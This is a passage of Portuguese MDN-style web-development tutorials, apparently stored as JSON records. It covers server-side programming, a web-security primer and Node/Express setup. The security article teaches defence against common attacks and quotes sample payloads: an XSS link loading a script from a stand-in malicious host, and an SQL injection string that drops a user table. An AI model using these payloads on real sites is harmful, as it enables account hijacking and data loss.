e histórico de visitas. Locais visitados ou pesquisados com frequência são destacados mais do que outros.\n\nOs resultados de pesquisa do Google são otimizados com base em pesquisas anteriores.\n\n1. Vá em Google search.\n2. Pesquise por \"futeboll\".\n3. Agora tente digitar \"favorito\" na caixa de pesquisa e observe as previsões de pesquisa do preenchimento automático.\n\nCoincidência ? Nada!\n\n### Acesso controlado ao conteúdo\n\nA programação do lado do servidor permite que os sites restrinjam o acesso a usuários autorizados e forneçam apenas as informações que um usuário tem permissão para ver.\n\nExemplos do mundo real, incluem :\n\n* Redes sociais como o Facebook permitem que os usuários controlem totalmente seus próprios dados, mas apenas permitem que seus amigos os visualizem ou comentem. O usuário determina quem pode ver seus dados e, por extensão, quais dados aparecem em seu feed - a autorização é uma parte central da experiência do usuário!\n* O site em que você está agora controla o acesso ao conteúdo: os artigos são visíveis para todos, mas apenas os usuários que efetuaram login podem editá-los. Para tentar fazer isso, clique no botão Editar no topo desta página - se você estiver conectado, será exibida a visualização de edição; se você não estiver logado, será direcionado para a página de inscrição.\n\n**Nota:** Considere outros exemplos reais em que o acesso ao conteúdo é controlado. Por exemplo, o que você pode ver se acessar o site online do seu banco? Faça login em sua conta - quais informações adicionais você pode ver e modificar? Quais informações você pode ver que somente o banco pode alterar?\n\n### Sessão de armazenamento / informações de estado\n\nA programação do lado do servidor permite que os desenvolvedores façam uso de sessões - basicamente, um mecanismo que permite a um servidor armazenar informações sobre o usuário atual de um site e enviar diferentes respostas com base nessas informações.\n\nIsso permite, por exemplo, que um site saiba que um usuário fez login anteriormente e exiba links para seus e-mails ou histórico de pedidos, ou talvez salve o estado de um jogo simples para que o usuário possa ir a um site novamente e continuar onde eles deixaram.\n\n**Nota:** :Visite um site de jornal que tem um modelo de assinatura e abra várias guias (por exemplo, The Age). Continue a visitar o site por algumas horas / dias. Eventualmente, você começará a ser redirecionado para páginas que explicam como se inscrever e não conseguirá acessar os artigos. Essas informações são um exemplo de informações de sessão armazenadas em cookies.\n\n### Notificações e comunicação\n\nOs servidores podem enviar notificações gerais ou específicas do usuário por meio do próprio site ou por e-mail, SMS, mensagens instantâneas, conversas por vídeo ou outros serviços de comunicação.\n\nAlguns exemplos, incluem :\n\n* Facebook e Twitter enviam e-mails e mensagens SMS para notificá-lo de novas comunicações.\n* A Amazon envia regularmente e-mails de produtos que sugerem produtos semelhantes aos já comprados ou vistos nos quais você possa estar interessado.\n* Um servidor da web pode enviar mensagens de aviso aos administradores do site alertando-os sobre a memória insuficiente no servidor ou atividade suspeita do usuário.\n\n**Nota:** O tipo mais comum de notificação é uma \"confirmação de registro\". Escolha quase todos os grandes sites de seu interesse (Google, Amazon, Instagram, etc.) e crie uma nova conta usando seu endereço de e-mail. Em breve, você receberá um e-mail confirmando seu registro ou solicitando confirmação para ativar sua conta.\n\n### Análise de dados\n\nUm site pode coletar muitos dados sobre os usuários: o que procuram, o que compram, o que recomendam, quanto tempo permanecem em cada página. A programação do lado do servidor pode ser usada para refinar as respostas com base na análise desses dados.\n\nPor exemplo, Amazon e Google anunciam produtos com base em pesquisas anteriores (e compras).\n\n**Nota:** :Se você é um usuário do Facebook, vá para o seu feed principal e veja o fluxo de postagens. Observe como algumas das postagens estão fora da ordem numérica - em particular, as postagens com mais \"curtidas\" geralmente estão no topo da lista do que as postagens mais recentes.\n\nObserve também que tipo de anúncio está sendo mostrado - você pode ver anúncios de coisas que já viu em outros sites. O algoritmo do Facebook para destacar conteúdo e publicidade pode ser um pouco misterioso, mas é claro que depende de seus gostos e hábitos de visualização!\n\nResumo\n------\n\nParabéns, você chegou ao final do primeiro artigo sobre programação do lado do servidor.\n\nAgora você aprendeu que o código do lado do servidor é executado em um servidor da web e que sua função principal é controlar quais informações são enviadas ao usuário (enquanto o código do lado do cliente lida principalmente com a estrutura e apresentação desses dados para o usuário) .\n\nVocê também deve entender que é útil porque nos permite criar sites que fornecem informações sob medida para usuários individuais de forma eficiente e têm uma boa ideia de algumas das coisas que você pode fazer quando for um programador do lado do servidor.\n\nPor último, você deve entender que o código do lado do servidor pode ser escrito em várias linguagens de programação e que você deve usar um framewoek web para tornar todo o processo mais fácil.\n\nEm um artigo futuro, ajudaremos você a escolher o melhor framework web para seu primeiro site. Aqui, vamos levá-lo pelas principais interações cliente-servidor com um pouco mais de detalhes.\n\n* Menu: First steps\n* Próxima\nNesse módulo\n------------\n\n* Introduction to the server side\n* Client-Server overview\n* Server-side web frameworks (en-US)\n* Website security"}
{"title":"Segurança em aplicação web - Aprendendo desenvolvimento web","text":"Segurança em aplicação web\n==========================\n\n* Anterior  (en-US)\n* Menu: First steps\n\nA segurança do site requer vigilância em todos os aspectos do design e uso do site. Este artigo introdutório não fará de você um guru da segurança de sites, mas ajudará a entender de onde vem as ameaças e o que você pode fazer para proteger sua aplicação web contra os ataques mais comuns.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | Conhecimento básico em informática. |\n| Objetivo: | \n Entender as ameaças mais comuns à segurança de aplicações web e o que\n você pode fazer para reduzir o risco de invasão do site.\n  |\n\nO que é segurança no site?\n--------------------------\n\nA Internet é um lugar perigoso! Com grande regularidade, ouvimos sobre a indisponibilidade de sites devido a ataques de negação de serviço ou a exibição de informações modificadas (e muitas vezes prejudiciais) em suas páginas iniciais. Em outros casos de alto perfil, milhões de senhas, endereços de email e detalhes de cartão de crédito foram vazados para o domínio público, expondo os usuários do site a vergonha pessoal e risco financeiro.\n\nO objetivo da segurança do site é impedir esse (ou qualquer) tipo de ataque. A definição mais formal de segurança do site é o ato ou prática de proteger sites contra acesso, uso, modificação, destruição ou interrupção não autorizados.\n\nA segurança efetiva do site requer um esforço de design em todo o site: em sua aplicação web, na configuração do servidor da web, em suas políticas para criar e renovar senhas e no código do cliente. Embora tudo isso pareça muito ameaçador, a boa notícia é que, se você estiver usando *framework* (uma estrutura da web) no servidor, é provável que ele habilitará \"por padrão\" mecanismos de defesa robustos e bem pensados contra vários ataques mais comuns. Outros ataques podem ser mitigados através da configuração do servidor da web, por exemplo, ativando o HTTPS. Por fim, existem ferramentas de scanner de vulnerabilidades disponíveis publicamente que podem ajudá-lo a descobrir se você cometeu algum erro óbvio.\n\nO restante deste artigo fornece mais detalhes sobre algumas ameaças comuns e algumas das etapas simples que você pode executar para proteger seu site.\n\n**Nota:** Este é um tópico introdutório projetado para ajudá-lo a começar a pensar na segurança do site, mas não é exaustivo.\n\nAmeaças à segurança do site\n---------------------------\n\nEsta seção lista apenas algumas das ameaças mais comuns do site e como elas são mitigadas. Enquanto você lê, observe como as ameaças são mais bem-sucedidas quando a aplicação web confia ou *não é paranóico o suficiente* sobre os dados provenientes do navegador.\n\n### Cross-Site Scripting (XSS)\n\nXSS é um termo usado para descrever uma classe de ataques que permitem que um invasor injete scripts do lado do cliente *através* do site nos navegadores de outros usuários. Como o código injetado chega ao navegador a partir do site, o código é *confiável* e pode fazer coisas como enviar o cookie de autorização do site do usuário ao invasor. Quando o invasor possui o cookie, ele pode fazer login em um site como se fosse o usuário e fazer tudo que o usário pode, como acessar os detalhes do cartão de crédito, ver detalhes do contato ou alterar senhas.\n\n**Nota:** As vulnerabilidades XSS têm sido historicamente mais comuns do que qualquer outro tipo de ameaça à segurança.\n\nAs vulnerabilidades do XSS são divididas em *refletidas* e *persistentes*, de acordo como o site retorna os scripts injetados para um navegador.\n\n* Uma vulnerabilidade XSS *refletida* ocorre quando o conteúdo do usuário passado para o servidor é retornado *imediatamente* e *não é modificado* para exibição no navegador. Quaisquer scripts no conteúdo original do usuário serão executados quando a nova página for carregada. Por exemplo, considere uma função de pesquisa no site em que os termos de pesquisa são codificados como parâmetros de URL e esses termos são exibidos junto com os resultados. Um invasor pode construir um link de pesquisa que contenha um script malicioso como parâmetro (por exemplo, `http://sitedecompra.com?q=produto<script%20src=\"http://sitedomal.com/trapaca.js\">`) e enviar por e-mail para outro usuário. Se o usuário alvo clicar nesse \"link interessante\", o script será executado quando os resultados da pesquisa forem exibidos. Conforme discutido anteriormente, isso fornece ao invasor todas as informações necessárias para entrar no site como usuário alvo, potencialmente fazendo compras como o usuário ou compartilhando suas informações de contato.\n* Uma vulnerabilidade *persistente* do XSS ocorre quando o script mal-intencionado é armazenado no site e posteriormente exibido novamente sem modificação para que outros usuários executem sem querer. Por exemplo, um quadro de discussão que aceita comentários que contêm HTML não modificado pode armazenar um script mal-intencionado de um invasor. Quando os comentários são exibidos, o script é executado e pode enviar ao invasor as informações necessárias para acessar a conta do usuário. Esse tipo de ataque é extremamente popular e poderoso, porque o invasor pode até não ter nenhum envolvimento direto com as vítimas.\n\nEmbora os dados das solicitações `POST` ou `GET` sejam a fonte mais comum de vulnerabilidades XSS, qualquer dado do navegador é potencialmente vulnerável, como dados de cookies renderizados pelo navegador ou arquivos de usuário que são carregados e exibidos.\n\nA melhor defesa contra as vulnerabilidades do XSS é remover ou desativar qualquer marcação que possa conter instruções para executar o código. Para HTML, isso inclui elementos, como `<script>`, `<object>`, `<embed>` e `<link>` .\n\nO processo de modificação de dados do usuário para que não possa ser usado para executar scripts ou afetar a execução do código do servidor é conhecido como limpeza de entrada. Muitas estruturas da Web limpam automaticamente a entrada do usuário de formulários HTML por padrão.\n\n### Injeção de SQL\n\nAs vulnerabilidades de injeção de SQL permitem que usuários mal-intencionados executem código SQL arbitrário em um banco de dados, permitindo que os dados sejam acessados, modificados ou excluídos, independentemente das permissões do usuário. Um ataque de injeção bem-sucedido pode falsificar identidades, criar novas identidades com direitos de administração, acessar todos os dados no servidor ou destruir/modificar os dados para torná-los inutilizáveis.\n\nOs tipos de injeção SQL incluem injeção SQL baseada em erro, injeção SQL baseada em erros booleanos e injeção SQL baseada em tempo.\n\nEsta vulnerabilidade está presente se a entrada do usuário que é passada para uma instrução SQL subjacente puder alterar o significado da instrução. Por exemplo, o código a seguir tem como objetivo listar todos os usuários com um nome específico (`nomeUsuario)` fornecido a partir de um formulário HTML:\n\n\n```sql\nstatement = \"SELECT \\* FROM usuarios WHERE name = '\" + nomeUsuario + \"';\"\n```\n\n\nSe o usuário especificar um nome real, a instrução funcionará como pretendido. No entanto, um usuário mal-intencionado pode alterar completamente o comportamento dessa instrução SQL para a nova instrução no exemplo a seguir, simplesmente especificando o texto em negrito para o `nomeUsuario.`\n\n\n```sql\nSELECT \\* FROM usuarios WHERE name = 'a';DROP TABLE usuarios; SELECT \\* FROM userinfo WHERE 't' = 't';\n```\n\n\nA instrução modificada cria uma instrução SQL válida que exclui a tabela de `usuarios` e seleciona todos os dados da tabela `userinfo` (que revela as informações de cada usuário). Isso funciona porque a primeira parte do texto injetado ( `a';`) completa a declaração original.\n\nPara evitar esse tipo de ataque, você deve garantir que os dados do usuário passados para uma consulta SQL não possam alterar a natureza da consulta. Uma maneira de fazer isso é utilizar 'escape' em todos os caracteres na entrada do usuário que tenham um significado especial no SQL.\n\n**Nota:** A instrução SQL trata o caractere **'** como o início e o final de uma cadeia de caracteres literal. Ao colocar uma barra invertida na frente desse caractere (**\\'**), \"escapamos\" do símbolo e dizemos ao SQL para tratá-lo como um caractere (apenas uma parte da string).\n\nNa declaração a seguir, escapamos o caractere **'**. O SQL agora interpretará o nome como toda a string em negrito (que é um nome muito estranho, mas não prejudicial).\n\n\n```sql\nSELECT \\* FROM usarios WHERE name = 'a\\';DROP TABLE usuarios; SELECT \\* FROM userinfo WHERE \\'t\\' = \\'t';\n```\n\n\n*Frameworks web* geralmente cuidam do caractere que está escapando para você. O Django, por exemplo, garante que todos os dados do usuário passados para os conjuntos de consultas (consultas de modelo) sejam escapados.\n\n**Nota:** Esta seção baseia-se fortemente nas informações da Wikipedia.\n\n### Cross-Site Request Forgery (CSRF)\n\nOs ataques de CSRF permitem que um usuário mal-intencionado execute ações usando as credenciais de outro usuário sem o conhecimento ou consentimento desse usuário.\n\nEsse tipo de ataque é melhor explicado por exemplo. John é um usuário mal-intencionado que sabe que um site específico permite que usuários conectados enviem dinheiro para uma conta especificada usando uma solicitação HTTP `POST` que inclui o nome da conta e uma quantia em dinheiro. John cria um formulário que inclui seus dados bancários e uma quantia de dinheiro como campos ocultos e o envia por e-mail a outros usuários do site (com o botão *Enviar*, disfarçado como um link para um site \"fique rico rapidamente\").\n\nSe um usuário clicar no botão enviar, uma solicitação HTTP `POST` será enviada ao servidor contendo os detalhes da transação e quaisquer cookies do lado do cliente que o navegador associou ao site (adicionar cookies do site associados a solicitações é um comportamento normal do navegador). O servidor irá verificar os cookies e usá-los para determinar se o usuário está ou não conectado e tem permissão para fazer a transação.\n\nO resultado é que qualquer usuário que clicar no botão *Enviar* enquanto estiver conectado ao site de negociação fará a transação. John fica rico.\n\n**Nota:** O truque aqui é que John não precisa ter acesso aos cookies do usuário (ou credenciais de acesso). O navegador do usuário armazena essas informações e as inclui automaticamente em todas as solicitações ao servidor associado.\n\nUma maneira de impedir esse tipo de ataque é o servidor exigir que as solicitações `POST` incluam um segredo gerado pelo site específico do usuário. O segredo seria fornecido pelo servidor ao enviar o formulário da web usado para fazer transferências. Essa abordagem impede John de criar seu próprio formulário, uma vez que ele precisaria conhecer o segredo que o servidor está fornecendo ao usuário. Mesmo se descobrisse o segredo e criasse um formulário para um usuário específico, ele não seria mais capaz de usar o mesmo formulário para atacar todos os usuários.\n\n*Frameworks web* geralmente incluem esses mecanismos de prevenção para CSRF.\n\n### Outras ameaças\n\nOutros ataques e vulnerabilidades comuns incluem:\n\n* *Clickjacking*. Nesse ataque, um usuário mal-intencionado seqüestra cliques destinados a um site de nível superior visível e os direciona para uma página oculta abaixo. Essa técnica pode ser usada, por exemplo, para exibir um site bancário legítimo, mas capturar as credenciais de logon em um invisível controlado pelo invasor. O clickjacking também pode ser usado para fazer com que o usuário clique em um botão em um site visível, mas, ao fazer isso, clique inconscientemente em um botão completamente diferente. Como defesa, seu site pode impedir que ele seja incorporado em um iframe em outro site, definindo os cabeçalhos HTTP apropriados.\n* Negação de Serviço (DoS, em inglês). O DoS geralmente é atingido inundando um site de destino com solicitações falsas para que o acesso a um site seja interrompido por usuários legítimos. As solicitações podem ser simplesmente numerosas ou podem consumir grandes quantidades de recursos individualmente (por exemplo, leituras lentas ou upload de arquivos grandes). As defesas de DoS geralmente funcionam identificando e bloqueando o tráfego \"ruim\" e permitindo a passagem de mensagens legítimas. Essas defesas geralmente estão localizadas antes ou no servidor da web (elas não fazem parte da própria aplicação web).\n* \\_Directory Traversal \\_(arquivo e divulgação). Nesse ataque, um usuário mal-intencionado tenta acessar partes do sistema de arquivos do servidor da web que ele não deve acessar. Essa vulnerabilidade ocorre quando o usuário consegue passar nomes de arquivos que incluem caracteres de navegação do sistema de arquivos (por exemplo, `../../`). A solução é limpar a entrada antes de usá-la.\n* Inclusão de arquivo. Nesse ataque, um usuário pode especificar um arquivo \"não intencional\" para exibição ou execução nos dados passados para o servidor. Quando carregado, esse arquivo pode ser executado no servidor da web ou no lado do cliente (levando a um ataque XSS). A solução é limpar a entrada antes de usá-la.\n* Injeção de comando. Os ataques de injeção de comando permitem que um usuário mal-intencionado execute comandos arbitrários do sistema no sistema operacional host. A solução é limpar a entrada do usuário antes que ela possa ser usada nas chamadas do sistema.\n\nPara obter uma lista abrangente das ameaças à segurança do site, consulte Categoria: explorações de segurança da Web(Wikipedia) e Categoria: Ataque (Projeto de Segurança para Aplicações Web Abertos).\n\nAlgumas mensagens-chave\n-----------------------\n\nQuase todas as explorações de segurança nas seções anteriores são bem-sucedidas quando a aplicação web confia nos dados do navegador. Tudo o que você fizer para melhorar a segurança do seu site, você deve limpar todos os dados originados pelo usuário antes de serem exibidos no navegador, usados em consultas SQL ou passados para um sistema operacional ou para uma chamada do sistema de arquivos.\n\n**Aviso:** Importante: A lição mais importante que você pode aprender sobre segurança do site é nunca confiar nos dados do navegador. Isso inclui, mas não se limita a dados nos parâmetros de URL de solicitações `GET`, `POST`, cabeçalhos HTTP, cookies e arquivos enviados por usuários. Sempre verifique e limpe todos os dados recebidos. Sempre assuma o pior.\n\nUma série de outras etapas concretas que você pode executar são:\n\n* Use um gerenciamento de senhas mais eficaz. Incentive senhas fortes que são alteradas regularmente. Considere a autenticação de dois fatores para o seu site, para que, além de uma senha, o usuário insira outro código de autenticação (geralmente um código fornecido com algum hardware físico que somente o usuário terá, como um código em um SMS enviado para seu telefone).\n* Configure seu servidor da web para usar HTTPS e HTTP Strict Transport Security (HSTS). O HTTPS criptografa os dados enviados entre seu cliente e servidor. Isso garante que credenciais de login, cookies, dados de solicitações `POST` e informações de cabeçalho não estejam facilmente disponíveis para os invasores.\n* Acompanhe as ameaças mais populares (a lista atual do OWASP está aqui) e resolva as vulnerabilidades mais comuns primeiro.\n* Use as ferramentas de verificação de vulnerabilidades para executar testes de segurança automatizados em seu site. Posteriormente, seu site bem-sucedido também poderá encontrar bugs oferecendo uma recompensa de bugs, como a Mozilla faz aqui.\n* Armazene e exiba apenas os dados necessários. Por exemplo, se seus usuários precisam armazenar informações confidenciais, como detalhes do cartão de crédito, exiba apenas o número do cartão suficiente para que possa ser identificado pelo usuário e não o suficiente para que possa ser copiado por um invasor e usado em outro site. O padrão mais comum no momento é exibir apenas os últimos 4 dígitos de um número de cartão de crédito.\n\n*Frameworks web* podem ajudar a mitigar muitas das vulnerabilidades mais comuns.\n\nResumo\n------\n\nEste artigo explicou o conceito de segurança na web e algumas das ameaças mais comuns contra as quais o site deve tentar se proteger. Mais importante, você deve entender que uma aplicação web não pode confiar em nenhum dado do navegador. Todos os dados do usuário devem ser limpos antes de serem exibidos ou usados em consultas SQL e chamadas do sistema de arquivos.\n\nCom este artigo, você chegou ao final deste módulo, abordando seus primeiros passos na programação de sites em relação ao servidor. Esperamos que você tenha gostado de aprender esses conceitos fundamentais e agora esteja pronto para selecionar um *Framework web* e iniciar a programação.\n\n* Anterior  (en-US)\n* Menu: First steps"}
{"title":"Configurando o Node como ambiente de desenvolvimento - Aprendendo desenvolvimento web","text":"Configurando o Node como ambiente de desenvolvimento\n====================================================\n\n* Anterior\n* Menu: Express Nodejs\n* Próxima\n\nAgora que você sabe para que serve o Express, nós vamos lhe mostrar como configurar e testar o ambiente Node/Express no Windows, Linux (Ubuntu) e macOS. Independentemente do sistema operacional que você prefere, este artigo deve lhe proporcionar o que você precisa para desenvolver aplicativos em Express.\n\n|  |  |\n| --- | --- |\n| Pré-Requisitos: | \n Saber como abrir um terminal/linha de comando. Saber como instalar\n pacotes de software no sistema operacional do computador utilizado para\n desenvolvimento\n  |\n| Objetivo: | \n Configurar o ambiente de desenvolvimento para Express (X.XX) em seu\n computador\n  |\n\nVisão geral do ambiente de desenvolvimento do Express\n-----------------------------------------------------\n\n*Node* e *Express* facilitam a configuração de seu computador para começar a desenvolver aplicações web. Esta seção fornece uma visão ampla de quais ferramentas serão necessárias, explica alguns métodos simples para instalar o Node (e Express) no Ubuntu, macOS e Windows e também mostra como você pode testar sua aplicação.\n\n### O que é o ambiente de desenvolvimento Express?\n\nO ambiente de desenvolvimento *Express* inclui uma instalação do *Nodejs,* o pacote de gerenciamento *NPM* e (opcionalmente) o *Gerador de Aplicações Express* em seu computador local.\n\nO *Node* e o *NPM* são instalados em conjunto por meio de um pacote binário preparado, instaladores, pacotes de gerenciamento de sistemas operacionais ou diretamente da fonte (como mostra a seção seguinte). O *Express* é então instalado pelo NPM como uma dependência de sua aplicação web *Express* individual (junto a outras bibliotecas como motores de modelo, drivers de banco de dados, autenticações middleware, middleware para arquivos estáticos, etc.)\n\nNPM também pode ser utilizado para instalar (globalmente) o Express Application Generator, uma ferramenta que cria um \"esqueleto\" de um app Express, seguindo o padrão MVC. O gerador de app é opcional porque você não precisa dessa ferramenta para criar um app ou um construtor Express para ter a mesma arquitetura. Nós vamos usá-lo nesta seção porque nos permite iniciar uma aplicação de uma maneira mais rápida e promover uma estrutura modular.\n\n**Nota:** Ao contrário de muitos outros framework que não oferecem um servidor web junto ao ambiente de desenvolvimento, o Node/Express cria e roda o seu próprio servidor web.\n\nHá outras ferramentas periféricas que integram o ambiente de desenvolvimento, é o caso dos editores de textos (códigos), conhecidos como IDE, e versionadores de códigos, como o Git, que ajudam a gerenciar diferentes versões do código. Estamos partindo da ideia de que você já conhece essas ferramentas e as têm instaladas (em especial o editor de texto).\n\n### Quais sistemas operacionais têm suporte?\n\n*Node* roda em Windows, macOS, diferentes versões do Linux, Docker, etc. Há uma lista de sistemas suportados que pode ser encontrada na página de Downloads do Nodejs. Quase todos os computadores pessoais têm o que é necessário para rodar o Node. O Express roda no ambiente Node e, consequentemente, roda em qualquer plataforma que roda o *Node*.\n\nNeste artigo, vamos abordar as instruções de configuração para Windows, macOS, e Ubuntu Linux.\n\n### Qual versão do Node/Express você deve usar?\n\nHá várias versões do Node - as mais recentes contém correção de bugs, suporte para EMCAScript (JavaScript) e melhorias nas APIs do Node.\n\nDe maneira geral, você deve usar a versão mais recente do LTS (long-term supported), pois é a mais estável do que a versão \"current\". Além disso, você deve usar a versão current apenas se precisar de alguma funcionalidade que não está presente na versão LTS.\n\nPara o Express, você deve usar sempre a versão mais completa.\n\n### Sobre o banco de dados e outras dependências?\n\nOutras dependências, como database drivers, engine para templates, ferramentas para autenticação, etc, são parte da aplicação e são importadas para o ambiente a partir do NPM. Nós vamos falar sobre essa parte mais para frente.\n\nInstalando o Node\n-----------------\n\nPara utilizar o Express, você terá que instalar o Nodejs e o NPM em seu sistema operacional. Nas seções a seguir, vamos explicar o jeito mais fácil de instalar a versão LTS do Nodejs no Ubuntu Linux 16.04, macOS e Windows 10.\n\n**Nota:** **Dica:** As seções abaixo mostram o jeito mais fácil de instalar o NPM nos Sistemas Operacionais. Se você utilizar outro sistema ou quer ver uma abordagem diferente para as plataformas atuais acesse Instalando Node.js via NPM (nodejs.org).\n\n### Windows e macOS\n\nInstalar o Node e o NPM no Windows ou no macOS é uma tarefa rápida e simples. Siga os seguintes passos:\n\n1. Baixar o instalador:\n    1. Vá para https://nodejs.org/en/\n    2. Selecione o botão de download da versão LTS, que é a recomendada para a maioria dos usuários.\n2. Instale o Node ao clicar duas vezes no arquivo de download. Siga a instalação a partir das janelas que vão aparecer na sua tela.\n### Ubuntu 16.04\n\nO jeito mais fácil de instalar a versão LTS do Node é usar o NPM a partir do Ubuntu *binary distributions repository*. Isso pode ser feito de uma maneira muito simples. Rode os seguintes comandos no seu terminal.\n\n\n```bash\ncurl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -\nsudo apt-get install -y nodejs\n```\n\n\n**Aviso:** **Atenção:** Não faça a instalação direto do repositório normal do Ubuntu pois ele contém versões antigas do Node.\n\n### Testando a instalação do Nodejs e do NPM\n\nO jeito mais fácil de testar se tudo correu bem na instalação é checar qual a versão do Node está rodando no computador. Para isso, vá ao terminal/command prompt e digite o seguinte comando para retornar a resposta com a versão mais recente.\n\n\n```bash\n>node -v\nv8.9.4\n```\n\n\nO *NPM* também deve ter sido instalado. Você pode checar da seguinte maneira:\n\n\n```bash\n>npm -v\n5.6.0\n```\n\n\nUma maneira um pouco mais divertida de testar é criar um servidor web em \"puro node\". Vamos imprimir a tradicional frase \"Hello World\" no browser quando visitarmos uma determinada URL.\n\n1. Crie um arquivo chamado hellonode.js e cole dentro dele o código abaixo. Estamos usando apenas o Node, sem o Express, e com sintaxe do ES6.\n\n```js\n//Chame o módulo HTTP\nvar http = require(\"http\");\n\n//Crie um servidor HTTP para ouvir as requisições na porta 8000\nhttp\n  .createServer(function (request, response) {\n    // Configure o resposta HTTP header com o HTTP status e Content type\n    response.writeHead(200, { \"Content-Type\": \"text/plain\" });\n\n    // Envie a resposta do body \"Hello World\"\n    response.end(\"Hello World\\n\");\n  })\n  .listen(8000);\n\n// Imprima URL para acessar o servidor\nconsole.log(\"Server running at http://127.0.0.1:8000/\");\n```\n\nO código importa o módulo \"http\" e o utiliza para criar um servidor (`createServer()`) que escuta as requisições HTTP na porta 8000. O script, então, imprime a mensagem no console. A função `createServer()` recebe como argumento uma função callback que é chamada quando recebe uma requisição HTTP - isso retorna uma resposta com um status 200 (\"OK\") do HTTP e o texto \"Hello World\".\n\n**Nota:** Não se preocupe se você não entendeu exatamente o que esse código faz. Nós vamos explicar isso em mais detalhes quando iniciarmos a parte do Express.\n2. Inicie o servidor e navegue pelo mesmo diretório que o seu arquivo hellonode.js no terminal. Depois chame o Node da seguinte forma:\n\n```bash\n>node hellonode.js\nServer running at http://127.0.0.1:8000/\n```\n\n3. Navegue até a URL (`http://127.0.0.1:8000/`). Se tudo estiver funcionando bem, o browser vai apresentar a frase \"Hello World\".\nUsando o NPM\n------------\n\nAo lado do próprio Node, o NPM é a ferramenta de trabalho mais importante nas aplicações Node. O NPM é usado para buscar qualquer pacote (biblioteca JavaScript) que uma aplicação precisa para ser desenvolvida, testada ou produzida, além de ser adotado para rodar testes ao longo de todo o processo de desenvolvimento.\n\n**Nota:** A partir da perspectiva do Node, Express é um pacote que precisa ser instalado utilizando o NPM e depois importado para o seu código.\n\nVocê pode usar o NPM separadamente para buscar cada pacote desejado. Em geral, nós gerenciamos as dependências com um arquivo chamado package.json. Esse arquivo lista todas as dependências para um pacote JavaScript específico, incluindo o nome do pacote, a versão, descrição, arquivo de inicialização, produção de dependências, desenvolvimento de dependências, versões do Node que podem ser utilizadas. O **package.json** contém tudo que o NPM precisa para buscar e rodar a sua aplicação (se você está escrevendo uma biblioteca para ser reutilizável, você pode usar essa definição para fazer o upload do pacote para o repositório npm e deixá-lo acessível a qualquer usuário).\n\n### Adicionando dependências\n\nOs passos seguintes mostram como baixar pacotes via NPM, salvá-los nas dependências do projeto e importá-los/chamá-los para dentro da aplicação Node.\n\n**Nota:** Nesta seção mostraremos como buscar e instalar o pacote do Express. Depois, explicaremos como esse e outros pacotes já estão especificados para nós graças ao *Express Application Generator*. É muito importante entendermos como o NPM funciona e o que é criado com o generator.\n\n1. Primeiro passo é criar um diretório para sua aplicação. No prompt, insira os comandos a seguir.\n\n```bash\nmkdir myapp\ncd myapp\n```\n\n2. Use o comando `npm init` para criar o arquivo **package.json** da sua aplicação. Esse comando registra para você uma série de informações, como o nome e a versão do seu aplicativo, além do nome do seu \"entry point\" (**index.js** por padrão). Por hora, vamos manter a configuração padrão.\n\n```bash\nnpm init\n```\n\nSe você acessar o arquivo **package.json** (`cat packge.json`), você verá toda a configuração padrão e, ao final, o tipo de licença que o app está utilizando.\n\n```json\n{\n  \"name\": \"myapp\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n  },\n  \"author\": \"\",\n  \"license\": \"ISC\"\n}\n```\n\n3. Agora, instale o Express dentro do diretório **myapp**. O pacote será salvo automaticamente na lista de dependências do seu **package.json**.\n\n```bash\nnpm install express\n```\n\nA lista de dependências do **package.json** agora mostra também a versão do Express que estamos usando. Está grifada no final do arquivo.\n\n```json\n{\n  \"name\": \"myapp\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n  },\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"dependencies\": {\n    \"express\": \"^4.16.2\"\n  }\n}\n```\n\n4. Para usar o Express, é preciso incluir a função `require()` no arquivo index.js dentro da sua aplicação. Crie esse arquivo agora mesmo na pasta raiz \"**myapp**\" e inclua o código a seguir.\n\n```js\nvar express = require(\"express\");\nvar app = express();\n\napp.get(\"/\", function (req, res) {\n  res.send(\"Hello World!\");\n});\n\napp.listen(8000, function () {\n  console.log(\"Example app listening on port 8000!\");\n});\n```\n\nO código mostra uma aplicação web bem simples cujo objetivo único é imprimir a mensagem \"HelloWorld\". Em linhas gerais, esse arquivo importa o módulo do express e o utiliza para criar um servidor (`app`) que escuta as requisições HTTP pela porta 8000 e imprime a mensagem no console, além de definir qual URL usada para testar o servidor. A função `app.get()` responde apenas às requisições HTTP feitas com o método GET, desde que especificadas com o path ('/'). Nesse caso, chamando a função para enviar a mensagem *Hello World*!\n5. Rode a linha de comando abaixo para iniciar o servidor.\n\n```bash\n>node index.js\nExample app listening on port 8000\n```\n\n6. Vá para a seguinte URL (`http://127.0.0.1:8000/`). Se tudo estiver funcionando corretamente, o browser vai mostrar a mensagem \"Hello World!\".\n### Desenvolvendo dependências\n\nSe você utilizar uma dependência apenas durante o desenvolvimento da aplicação, é recomendado que você a salve como uma \"development dependency\". Dessa forma, o pacote não será utilizado no ambiente de produção. Por exemplo: caso utilizar o pacote esling (JavaScript Linting), você faria a instalação via NPM da seguinte forma.\n\n\n```bash\nnpm install eslint --save-dev\n```\n\n\nAssim, a esling vai aparecer da seguinte forma na lista de dependências do **package.json**.\n\n\n```json\n  \"devDependencies\": {\n    \"eslint\": \"^4.12.1\"\n  }\n```\n\n\n**Nota:** \"Linters\" são ferramentas que nos ajudam a identificar e reportar que o código está sendo escrito dentro das melhores práticas.\n\n### Rodando tarefas\n\nAlém de definir e buscar dependências, você também pode nomear scripts dentro do seu arquivo **package.json** e chamar o NPM para executá-lo a partir de um run-script command. Essa abordagem é comum para automatizar testes e tarefas ao longo do desenvolvimento (por exemplo: minificar o JavaScript, reduzir imagens, LINT/análise de códigos, etc).\n\n**Nota:** Ferramentas de automação de tarefas como o Gulp e o Grunt também podem ser utilizados, além de outros pacotes externos.\n\nPara definir o script que roda o *esling*, citado na seção acima, nós precisamos adicionar o seguinte bloco no nosso **package.json** (importante: sua aplicação precisa ter como source está na pasta /src/js):\n\n\n```json\n\"scripts\": {\n  ...\n  \"lint\": \"eslint src/js\"\n  ...\n}\n```\n\n\nExplicando um pouco mais: `eslint src/js` é o comando que colocamos no nosso terminal para rodar o `eslint` nos arquivos JavaScript situados no diretório `src/js` 